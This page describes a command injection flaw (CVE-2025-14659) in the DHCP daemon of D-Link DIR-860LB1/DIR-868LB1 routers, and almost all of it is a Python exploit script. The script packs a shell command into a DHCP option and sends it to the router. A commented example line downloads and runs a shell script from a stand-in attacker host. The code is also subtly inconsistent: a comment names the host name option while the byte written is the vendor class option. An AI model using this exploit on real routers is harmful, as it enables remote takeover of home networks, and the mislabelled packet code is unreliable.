D-Link DIR-860LB1/DIR-868LB1 DHCP Daemon命令注入漏洞 (CVE-2025-14659)

import socket import struct # CVE-2025-14659 PoC - DHCP Hostname Command Injection # Target: D-Link DIR-860LB1/DIR-868LB1 def create_dhcp_packet(hostname): # DHCP packet structure packet = b'\x01' # Message type: BOOTREQUEST packet += b'\x01' # Hardware type: Ethernet packet += b'\x06' # Hardware address length packet += b'\x00' # Hops packet += b'\x39\x05\x03\x00' # Transaction ID packet += b'\x00\x00' # Seconds elapsed packet += b'\x00\x00' # Flags packet += b'\x00\x00\x00\x00' # Ciaddr (Client IP) packet += b'\x00\x00\x00\x00' # Yiaddr (Your IP) packet += b'\x00\x00\x00\x00' # Siaddr (Server IP) packet += b'\x00\x00\x00\x00' # Giaddr (Relay IP) packet += b'\x00' * 16 # Client hardware address packet += b'\x00' * 64 # Server host name packet += b'\x00' * 128 # Boot file name packet += b'\x63\x82\x53\x63' # Magic cookie # Option 12: Host Name (with command injection payload) packet += b'\x3c' # Option 60: Vendor class identifier packet += bytes([len(hostname)]) packet += hostname.encode() # End option packet += b'\xff' return packet def exploit(target_ip, malicious_hostname): # Inject command via Hostname option payload = f';{malicious_hostname};#' packet = create_dhcp_packet(payload) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.sendto(packet, (target_ip, 67)) sock.close() print(f'Exploit sent to {target_ip}') # Example usage: Execute reverse shell # exploit('192.168.0.1', 'wget http://attacker.com/shell.sh && sh shell.sh')